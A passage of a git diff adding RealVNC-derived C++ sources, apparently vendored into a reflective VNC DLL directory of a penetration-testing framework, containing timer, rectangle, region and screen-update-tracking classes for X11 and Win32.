__int64 + +namespace rfb { + + class CpuTime { + public: + CpuTime(const char *name) + : timer_name(strdup(name)), + kernel_time(0), user_time(0), max_user_time(0), iterations(0) {} + ~CpuTime() { + //vnclog.Print(0, "timer %s : %I64ums (krnl), %I64ums (user), %I64uus (user-max) (%I64u its)\n", + // timer_name, kernel_time/10000, user_time/10000, max_user_time/10, + // iterations); + delete [] timer_name; + } + char* timer_name; + __int64 kernel_time; + __int64 user_time; + __int64 iterations; + __int64 max_user_time; + }; + + class CpuTimer { + public: + inline CpuTimer(CpuTime &ct) : cputime(ct) { + FILETIME create_time, end_time; + if (!GetThreadTimes(GetCurrentThread(), + &create_time, &end_time, + (LPFILETIME)&start_kernel_time, + (LPFILETIME)&start_user_time)) { + abort(); + } + } + inline ~CpuTimer() { + FILETIME create_time, end_time; + __int64 end_kernel_time, end_user_time; + if (!GetThreadTimes(GetCurrentThread(), + &create_time, &end_time, + (LPFILETIME)&end_kernel_time, + (LPFILETIME)&end_user_time)) { + abort(); + } + cputime.kernel_time += end_kernel_time - start_kernel_time; + cputime.user_time += end_user_time - start_user_time; + if (end_user_time - start_user_time > cputime.max_user_time) { + cputime.max_user_time = end_user_time - start_user_time; + } + cputime.iterations++; + } + private: + CpuTime& cputime; + __int64 start_kernel_time; + __int64 start_user_time; + }; +}; + +#endif + +#endif // __RFB_MISC_INCLUDED__ + + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbRect.h b/external/source/reflective_vncdll/winvnc/winvnc/rfbRect.h new file mode 100644 index 0000000000..bb68f65ebc --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbRect.h @@ -0,0 +1,115 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// rfb::Rect and rfb::Point structures + +#ifndef __RFB_RECT_INCLUDED__ +#define __RFB_RECT_INCLUDED__ + +#ifdef WIN32 +#include +#endif + +#include "rfbMisc.h" +#include + +namespace rfb { + + // rfb::Point + // + // Represents a point in 2D space, by X and Y coordinates. + // Can also be used to represent a delta, or offset, between + // two Points. + // Functions are provided to allow Points to be compared for + // equality and translated by a supplied offset. + // Functions are also provided to negate offset Points. + + struct Point { + Point() : x(0), y(0) {} + Point(int x_, int y_) : x(x_), y(y_) {} +#ifdef WIN32 + Point(const POINT &p) : x(p.x), y(p.y) {} +#endif + Point negate() const {return Point(-x, -y);} + bool equals(const Point &p) const {return x==p.x && y==p.y;} + Point translate(const Point &p) const {return Point(x+p.x, y+p.y);} + int x, y; + }; + + // rfb::Rect + // + // Represents a rectangular region defined by its top-left (tl) + // and bottom-right (br) Points. + // Rects may be compared for equality, checked to determine whether + // or not they are empty, cleared (made empty), or intersected with + // one another. The bounding rectangle of two existing Rects + // may be calculated, as may the area of a Rect. + // Rects may also be translated, in the same way as Points, by + // an offset specified in a Point structure. + + struct Rect { + Rect() {} + Rect(Point tl_, Point br_) : tl(tl_), br(br_) {} + Rect(int x1, int y1, int x2, int y2) : tl(x1, y1), br(x2, y2) {} +#ifdef WIN32 + Rect(const RECT &r) : tl(r.left, r.top), br(r.right, r.bottom) {} +#endif + Rect intersect(const Rect &r) const { + Rect result; + result.tl.x = max(tl.x, r.tl.x); + result.tl.y = max(tl.y, r.tl.y); + result.br.x = min(br.x, r.br.x); + result.br.y = min(br.y, r.br.y); + return result; + } + Rect union_boundary(const Rect &r) const { + Rect result; + result.tl.x = min(tl.x, r.tl.x); + result.tl.y = min(tl.y, r.tl.y); + result.br.x = max(br.x, r.br.x); + result.br.y = max(br.y, r.br.y); + return result; + } + Rect translate(const Point &p) const { + return Rect(tl.translate(p), br.translate(p)); + } + bool equals(const Rect &r) const {return r.tl.equals(tl) && r.br.equals(br);} + bool is_empty() const {return (tl.x >= br.x) || (tl.y >= br.y);} + void clear() {tl = Point(); br = Point();} + bool enclosed_by(const Rect &r) const { + return (tl.x>=r.tl.x) && (tl.y>=r.tl.y) && (br.x<=r.br.x) && (br.y<=r.br.y); + } + unsigned int area() const {return is_empty() ? 0 : width()*height();} + inline int width() const {return br.x-tl.x;} + inline int height() const {return br.y-tl.y;} + Point tl; + Point br; + }; + + // rfb::RectVector + // + // An STL vector containing Rects. + typedef std::vector RectVector; + +}; + + +#endif // __RFB_RECT_INCLUDED__ \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion.h b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion.h new file mode 100644 index 0000000000..f2544c75e2 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion.h @@ -0,0 +1,132 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +#define USE_X11_REGIONS + +#ifdef USE_X11_REGIONS +#include "rfbRegion_X11.h" +#else + +#ifdef WIN32 +#include "rfbRegion_win32.h" +#else + +#error "using custom region code" + +// rfb::Region and rfb::Region2D classes + +#ifndef __RFB_REGION_INCLUDED__ +#define __RFB_REGION_INCLUDED__ + +#include "rfbRect.h" +#include + +namespace rfb { + + struct Span; + + // rfb::Region + // + // The Region class is used to represent N-dimensional + // regions. + // Each Region is a one-dimensional collection of + // non-overlapping Spans. Each span may itself contain + // a child Region, thus allowing multi-dimensional + // regions to be expressed. + // + // Regions may be infinite, empty or non-empty. + + class Region { + public: + Region(bool infinite_=false); + Region(int start, int end, const Region &sub); + + Region intersect(const Region &src) const { + Region tmp; do_intersect(tmp, src); return tmp; + } + Region union_(const Region &src) const { + Region tmp; do_union_(tmp, src); return tmp; + } + Region subtract(const Region &src) const { + Region tmp; do_subtract(tmp, src); return tmp; + } + + void translate(const int offset); + void reset(int start, int end, const Region &subspans); + void clear(); + + bool equals(const Region &b) const; + bool is_empty() const {return spans.empty() && !infinite;}; + bool is_infinite() const {return infinite;}; + + const std::vector &get_spans() const {return spans;}; + Span get_extent() const; + + void debug_print(const char *prefix) const; + + protected: + void do_intersect(Region &dest, const Region &src) const; + void do_union_(Region &dest, const Region &src) const; + void do_subtract(Region &dest, const Region &src) const; + + protected: + bool infinite; + std::vector spans; + }; + + class Region2D : public Region { + public: + Region2D(); + Region2D(int x1, int y1, int x2, int y2); + Region2D(const Rect &r); + Region2D intersect(const Region2D &src) const { + Region2D tmp; do_intersect(tmp, src); return tmp; + } + Region2D union_(const Region2D &src) const { + Region2D tmp; do_union_(tmp, src); return tmp; + } + Region2D subtract(const Region2D &src) const { + Region2D tmp; do_subtract(tmp, src); return tmp; + } + void reset(int x1, int y1, int x2, int y2); + void translate(const rfb::Point &p); + bool get_rects(rfb::RectVector &rects, bool left2right, bool topdown) const; + Rect get_bounding_rect() const; + }; + + struct Span { + Span() : start(0), end(0) {}; + Span(int start, int end, const Region &r); + bool equals(const Span &b) const; + void append_to(std::vector &spans) const; + int start; + int end; + Region subspans; + }; + + typedef std::vector SpanVector; +}; + +#endif // __RFB_REGION_INCLUDED__ + +#endif // WIN32 + +#endif // X11 diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_X11.cxx b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_X11.cxx new file mode 100644 index 0000000000..02027103e7 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_X11.cxx @@ -0,0 +1,206 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// Cross-platform Region class based on the X11 region implementation + +#include "stdhdrs.h" +#include "rfbRegion_X11.h" +#include +#include + +using namespace rfb; + +class _RectRegion { +public: + _RectRegion() { + region.rects = 0; + region.numRects = 0; + region.size = 0; + } + _RectRegion(const Rect& r) { + region.rects = ®ion.extents; + region.numRects = 1; + region.extents.x1 = r.tl.x; + region.extents.y1 = r.tl.y; + region.extents.x2 = r.br.x; + region.extents.y2 = r.br.y; + region.size = 1; + if (r.is_empty()) + region.numRects = 0; + } + REGION region; +}; + + +Region::Region() { + Xrgn = XCreateRegion(); + assert(Xrgn); +} + +Region::Region(int x1, int y1, int x2, int y2) { + Xrgn = XCreateRegion(); + assert(Xrgn); + reset(Rect(x1, y1, x2, y2)); +} + +Region::Region(const Rect& r) { + Xrgn = XCreateRegion(); + assert(Xrgn); + reset(r); +} + +Region::Region(const Region& r) { + _RectRegion tmp; + Xrgn = XCreateRegion(); + assert(Xrgn); + XUnionRegion(&tmp.region, r.Xrgn, Xrgn); +} + +Region::~Region() { + XDestroyRegion(Xrgn); +} + + +rfb::Region& Region::operator=(const Region& r) { + _RectRegion tmp; + clear(); + XUnionRegion(&tmp.region, r.Xrgn, Xrgn); + return *this; +} + + +void Region::clear() { + EMPTY_REGION(Xrgn); +} + +void Region::reset(const Rect& r) { + clear(); + XRectangle xrect; + xrect.x = r.tl.x; + xrect.y = r.tl.y; + xrect.width = r.width(); + xrect.height = r.height(); + XUnionRectWithRegion(&xrect, Xrgn, Xrgn); +} + +void Region::translate(const Point& delta) { + XOffsetRegion(Xrgn, delta.x, delta.y); +} + +void Region::setOrderedRects(const std::vector& rects) { + std::vector::const_iterator i; + for (i=rects.begin(); i != rects.end(); i++) { + _RectRegion rr(*i); + XUnionRegion(&rr.region, Xrgn, Xrgn); + } +} + + +void Region::assign_intersect(const Region& r) { + XIntersectRegion(r.Xrgn, Xrgn, Xrgn); +} + +void Region::assign_union(const Region& r) { + XUnionRegion(r.Xrgn, Xrgn, Xrgn); +} + +void Region::assign_subtract(const Region& r) { + XSubtractRegion(Xrgn, r.Xrgn, Xrgn); +} + + +rfb::Region Region::intersect(const Region& r) const { + Region t = *this; + t.assign_intersect(r); + return t; +} + +rfb::Region Region::union_(const Region& r) const { + Region t = *this; + t.assign_union(r); + return t; +} + +rfb::Region Region::subtract(const Region& r) const { + Region t = *this; + t.assign_subtract(r); + return t; +} + + +bool Region::equals(const Region& b) const { + return XEqualRegion(Xrgn, b.Xrgn); +} + +bool Region::is_empty() const { + return XEmptyRegion(Xrgn); +} + + +bool Region::get_rects(std::vector& rects, + bool left2right, + bool topdown) const { + BOX* Xrects = Xrgn->rects; + + int nRects = Xrgn->numRects; + int xInc = left2right ? 1 : -1; + int yInc = topdown ? 1 : -1; + int i = topdown ? 0 : nRects-1; + + while (nRects > 0) { + int firstInNextBand = i; + int nRectsInBand = 0; + + while (nRects > 0 && Xrects[firstInNextBand].y1 == Xrects[i].y1) { + firstInNextBand += yInc; + nRects--; + nRectsInBand++; + } + + if (xInc != yInc) + i = firstInNextBand - yInc; + + while (nRectsInBand > 0) { + Rect r(Xrects[i].x1, Xrects[i].y1, + Xrects[i].x2, Xrects[i].y2); + rects.push_back(r); + i += xInc; + nRectsInBand--; + } + + i = firstInNextBand; + } + + return !rects.empty(); +} + +rfb::Rect Region::get_bounding_rect() const { + XRectangle r; + XClipBox(Xrgn, &r); + return Rect(r.x, r.y, r.x+r.width, r.y+r.height); +} + + +XRegion Region::replaceXrgn(XRegion newrgn) { + XRegion tmp = Xrgn; + Xrgn = newrgn; + return tmp; +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_X11.h b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_X11.h new file mode 100644 index 0000000000..2791ac65ab --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_X11.h @@ -0,0 +1,86 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// Cross-platform Region class based on the X11 region implementation + +#ifndef __RFB_REGION_X11_INCLUDED__ +#define __RFB_REGION_X11_INCLUDED__ + +#include "rfbRect.h" +#include +#include + +namespace rfb { + + // rfb::Region + // See Region.h for description of interface. + + class Region { + public: + // Create an empty region + Region(); + // Create a rectangular region + Region(int x1, int y1, int x2, int y2); + Region(const Rect& r); + + Region(const Region& r); + Region &operator=(const Region& src); + + ~Region(); + + // the following methods alter the region in place: + + void clear(); + void reset(const Rect& r); + void translate(const rfb::Point& delta); + void setOrderedRects(const std::vector& rects); + + void assign_intersect(const Region& r); + void assign_union(const Region& r); + void assign_subtract(const Region& r); + + // the following three operations return a new region: + + Region intersect(const Region& r) const; + Region union_(const Region& r) const; + Region subtract(const Region& r) const; + + bool equals(const Region& b) const; + bool is_empty() const; + + bool get_rects(std::vector& rects, bool left2right=true, + bool topdown=true) const; + Rect get_bounding_rect() const; + + void debug_print(const char *prefix) const; + + protected: + Region(struct _XRegion* rgn); + struct _XRegion* replaceXrgn(struct _XRegion* newrgn); + + struct _XRegion* Xrgn; + }; + + typedef Region Region2D; + +}; + +#endif // __RFB_REGION_X11_INCLUDED__ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_win32.cpp b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_win32.cpp new file mode 100644 index 0000000000..5c83594983 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_win32.cpp @@ -0,0 +1,308 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// -=- rfbRegion_win32.cpp +// Win32 implementation of the rfb::Region2D class + +#include + +#include "stdhdrs.h" +#include "rfbRegion_win32.h" +#include + +// *** +#include +std::set regions; + +using namespace rfb; + +static omni_mutex region_lock; + +static int maxrgnrects = 0; + +static void abortRgnCode(DWORD error=0) { + omni_mutex_lock l(region_lock); + int numregions = regions.size(); + int maxregionsize = maxrgnrects; + int err = error; + std::set::const_iterator i; + int rgnbufsize = 0; + for (i=regions.begin(); i!=regions.end(); i++) { + rgnbufsize += GetRegionData(*i, 0, NULL); + } + abort(); +} + +static void assertValidRegion(HRGN hRgn) { + omni_mutex_lock l(region_lock); + RECT r; + DWORD buffsize = GetRegionData(hRgn, 0, NULL); + if (buffsize == 0) abortRgnCode(); + maxrgnrects = max(maxrgnrects, (buffsize-sizeof(RGNDATAHEADER))/sizeof(RECT)); +} + +Region2D::Region2D() { + omni_mutex_lock l(region_lock); + hRgn = CreateRectRgn(0, 0, 0, 0); + assertValidRegion(hRgn); + + // *** + regions.insert(hRgn); +} + +Region2D::Region2D(int x1, int y1, int x2, int y2) { + omni_mutex_lock l(region_lock); + hRgn = CreateRectRgn(x1, y1, x2, y2); + assertValidRegion(hRgn); + + // *** + regions.insert(hRgn); +} + +Region2D::Region2D(const Rect &r) { + omni_mutex_lock l(region_lock); + hRgn = CreateRectRgn(r.tl.x, r.tl.y, r.br.x, r.br.y); + assertValidRegion(hRgn); + + // *** + regions.insert(hRgn); +} + +Region2D::Region2D(const Region2D &r) { + omni_mutex_lock l(region_lock); + hRgn = CreateRectRgn(0, 0, 1, 1); + assertValidRegion(hRgn); + if (CombineRgn(hRgn, r.hRgn, NULL, RGN_COPY) == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); + assertValidRegion(r.hRgn); + + // *** + regions.insert(hRgn); +} + +Region2D::~Region2D() { + omni_mutex_lock l(region_lock); + + // *** + regions.erase(hRgn); + + assertValidRegion(hRgn); + if (!DeleteObject(hRgn)) + abortRgnCode(GetLastError()); + hRgn = 0; +} + +Region2D& Region2D::operator=(const Region2D &src) { + // *** omni_mutex_lock l(region_lock); + assertValidRegion(hRgn); assertValidRegion(src.hRgn); + if (CombineRgn(hRgn, src.hRgn, NULL, RGN_COPY) == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); assertValidRegion(src.hRgn); + return *this; +} + +Region2D Region2D::intersect(const Region2D &src) const { + // *** omni_mutex_lock l(region_lock); + Region2D result; + assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn); + if (CombineRgn(result.hRgn, src.hRgn, hRgn, RGN_AND) == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(result.hRgn); assertValidRegion(src.hRgn); assertValidRegion(hRgn); + return result; +} + +Region2D Region2D::union_(const Region2D &src) const { + // *** omni_mutex_lock l(region_lock); + Region2D result; + assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn); + if (CombineRgn(result.hRgn, src.hRgn, hRgn, RGN_OR) == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(result.hRgn); assertValidRegion(src.hRgn); assertValidRegion(hRgn); + return result; +} + +Region2D Region2D::subtract(const Region2D &src) const { + // *** omni_mutex_lock l(region_lock); + Region2D result; + assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn); + if (CombineRgn(result.hRgn, hRgn, src.hRgn, RGN_DIFF) == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn); + return result; +} + +void Region2D::reset(int x1, int y1, int x2, int y2) { + // *** omni_mutex_lock l(region_lock); + assertValidRegion(hRgn); + if (!SetRectRgn(hRgn, x1, y1, x2, y2)) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); +} + +void Region2D::translate(const rfb::Point &p) { + // *** omni_mutex_lock l(region_lock); + assertValidRegion(hRgn); + if (OffsetRgn(hRgn, p.x, p.y) == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); +} + +bool Region2D::get_rects(RectVector &rects, bool left2right, bool topdown) const { + // *** omni_mutex_lock l(region_lock); + + assertValidRegion(hRgn); + + DWORD buffsize = GetRegionData(hRgn, 0, NULL); + if (!buffsize) + abortRgnCode(GetLastError()); + + assert(hRgn); + if (is_empty()) + return false; + + unsigned char*buffer = new unsigned char[buffsize]; + assert(buffer); + + if (GetRegionData(hRgn, buffsize, (LPRGNDATA)buffer) != buffsize) + abortRgnCode(GetLastError()); + + LPRGNDATA region_data = (LPRGNDATA)buffer; + DWORD nCount = region_data->rdh.nCount; + if (topdown) { + long current_y = INT_MIN; + long start_i=0, end_i=-1; + rects.reserve(nCount); + for (long i=0; iBuffer[0])[i]; + if (rect.tl.y == current_y) { + end_i = i; + } else { + if (left2right) { + for (long j=start_i; j<=end_i; j++) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } else { + for (long j=end_i; j>=start_i; j--) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } + start_i = i; + end_i = i; + current_y = rect.tl.y; + } + } + if (left2right) { + for (long j=start_i; j<=end_i; j++) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } else { + for (long j=end_i; j>=start_i; j--) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } + } else { + long current_y = INT_MIN; + long start_i=nCount, end_i=nCount-1; + rects.reserve(nCount); + for (long i=nCount-1; i>=0; i--) { + Rect rect = ((RECT*)®ion_data->Buffer[0])[i]; + if (rect.tl.y == current_y) { + start_i = i; + } else { + if (left2right) { + for (long j=start_i; j<=end_i; j++) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } else { + for (long j=end_i; j>=start_i; j--) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } + end_i = i; + start_i = i; + current_y = rect.tl.y; + } + } + if (left2right) { + for (long j=start_i; j<=end_i; j++) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } else { + for (long j=end_i; j>=start_i; j--) { + Rect r = ((RECT*)®ion_data->Buffer[0])[j]; + rects.push_back(r); + } + } + } + + delete [] buffer; + assert(!rects.empty()); + assertValidRegion(hRgn); + + return true; +} + +Rect Region2D::get_bounding_rect() const { + // *** omni_mutex_lock l(region_lock); + RECT result; + assertValidRegion(hRgn); + if (!GetRgnBox(hRgn, &result)) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); + return result; +} + +void Region2D::clear() { + // *** omni_mutex_lock l(region_lock); + assertValidRegion(hRgn); + if (!SetRectRgn(hRgn, 0, 0, 0, 0)) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); +} + +bool Region2D::equals(const Region2D &b) const { + // *** omni_mutex_lock l(region_lock); + assertValidRegion(hRgn); assertValidRegion(b.hRgn); + BOOL result = EqualRgn(b.hRgn, hRgn); + if (result == ERROR) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); assertValidRegion(b.hRgn); + return result; +} + +bool Region2D::is_empty() const { + // *** omni_mutex_lock l(region_lock); + RECT result; + assertValidRegion(hRgn); + int kind = GetRgnBox(hRgn, &result); + if (!kind) + abortRgnCode(GetLastError()); + assertValidRegion(hRgn); + return kind == NULLREGION; +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_win32.h b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_win32.h new file mode 100644 index 0000000000..36ec790193 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbRegion_win32.h @@ -0,0 +1,66 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// rfb::Region2D class for Win32 + +#ifndef __RFB_REGION_WIN32_INCLUDED__ +#define __RFB_REGION_WIN32_INCLUDED__ + +#include "rfbRect.h" +#include + +namespace rfb { + + // rfb::Region2D + // + // See the rfbRegion.h header for documentation. + + class Region2D { + public: + Region2D(); + Region2D(int x1, int y1, int x2, int y2); + Region2D(const Rect &r); + Region2D(const Region2D &r); + ~Region2D(); + + Region2D intersect(const Region2D &src) const; + Region2D union_(const Region2D &src) const; + Region2D subtract(const Region2D &src) const; + Region2D &operator=(const Region2D &src); + void reset(int x1, int y1, int x2, int y2); + void translate(const rfb::Point &p); + bool get_rects(rfb::RectVector &rects, bool left2right, bool topdown) const; + Rect get_bounding_rect() const; + + void clear(); + + bool equals(const Region2D &b) const; + bool is_empty() const; + + HRGN getHandle() const {return hRgn;}; + private: + HRGN hRgn; + }; +}; + +#endif __RFB_REGION_WIN32_INCLUDED__ + + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbUpdateTracker.cpp b/external/source/reflective_vncdll/winvnc/winvnc/rfbUpdateTracker.cpp new file mode 100644 index 0000000000..4324cbc06f --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbUpdateTracker.cpp @@ -0,0 +1,193 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// -=- rfbUpdateTracker.cpp +// +// Tracks updated regions and a region-copy event, too +// + +#include "stdhdrs.h" + +#include + +#include "rfbUpdateTracker.h" + +using namespace rfb; + +// ClippedUpdateTracker + +void ClippedUpdateTracker::add_changed(const Region2D ®ion) { + child.add_changed(region.intersect(cliprgn)); +} + +void ClippedUpdateTracker::add_copied(const Region2D &dest, const Point &delta) { + // Clip the destination to the display area + Region2D tmp = dest.intersect(cliprgn); + if (tmp.is_empty()) return; + + // Clip the source to the screen + tmp.translate(delta.negate()); + tmp = tmp.intersect(cliprgn); + if (!tmp.is_empty()) { + // Translate the source back to a destination region + tmp.translate(delta); + + // Pass the copy region to the child tracker + child.add_copied(tmp, delta); + } + + // And add any bits that we had to remove to the changed region + tmp = dest.subtract(tmp); + if (!tmp.is_empty()) { + child.add_changed(tmp); + } +} + +// SimpleUpdateTracker + +SimpleUpdateTracker::SimpleUpdateTracker(bool use_copyrect) { + copy_enabled = use_copyrect; +} + +SimpleUpdateTracker::~SimpleUpdateTracker() { +} + +void SimpleUpdateTracker::add_changed(const Region2D ®ion) { + changed = changed.union_(region); +} + +void SimpleUpdateTracker::add_copied(const Region2D &dest, const Point &delta) { + // Do we support copyrect? + if (!copy_enabled) { + add_changed(dest); + return; + } + + // Is there anything to do? + if (dest.is_empty()) return; + + // Calculate whether any of this copy can be treated as a continuation + // of an earlier one + Region2D src = dest; + src.translate(delta.negate()); + Region2D overlap = src.intersect(copied); + + if (overlap.is_empty()) { + // There is no overlap + + Rect newbr = dest.get_bounding_rect(); + Rect oldbr = copied.get_bounding_rect(); + if (oldbr.area() > newbr.area()) { + // Old copyrect is (probably) bigger - use it + changed = changed.union_(dest); + } else { + // New copyrect is probably bigger + Region2D invalid = src.intersect(changed); + invalid.translate(delta); + changed = changed.union_(invalid).union_(copied); + copied = dest.subtract(invalid); + copy_delta = delta; +/* + // Use the new one + // But be careful not to copy stuff that still needs + // to be updated. + Region2D invalid_src = src.intersect(changed); + invalid_src.translate(delta); + changed = changed.union_(invalid_src).union_(copied); + copied = dest; + copy_delta = delta; + */ + } + return; + } + + Region2D valid = overlap.subtract(changed); + valid.translate(delta); + changed = changed.union_(copied).union_(dest).subtract(valid); + copied = valid; + copy_delta = copy_delta.translate(delta); + + /* + Region2D invalid_src = overlap.intersect(changed); + invalid_src.translate(delta.negate()); + changed = changed.union_(invalid_src); + + overlap.translate(delta); + + Region2D nonoverlapped_copied = dest.union_(copied).subtract(overlap); + changed = changed.union_(nonoverlapped_copied); + + copied = overlap; + copy_delta = copy_delta.translate(delta); + */ + + return; +} + +void SimpleUpdateTracker::flush_update(UpdateInfo &info, const Region2D &cliprgn) { + copied = copied.subtract(changed); + + // Ensure the UpdateInfo structure is empty + info.copied.clear(); + info.changed.clear(); + + // Clip the changed region to the clip region + Region2D updatergn = changed.intersect(cliprgn); + changed = changed.subtract(updatergn); + + // Clip the copyrect region to the display + Region2D copyrgn = copied.intersect(cliprgn); + copied = copied.subtract(copyrgn); + + // Save the update and copyrect rectangles info the UpdateInfo + updatergn.get_rects(info.changed, 1, 1); + copyrgn.get_rects(info.copied, copy_delta.x <= 0, copy_delta.y <= 0); + info.copy_delta = copy_delta; +} +void SimpleUpdateTracker::flush_update(UpdateTracker &info, const Region2D &cliprgn) { + 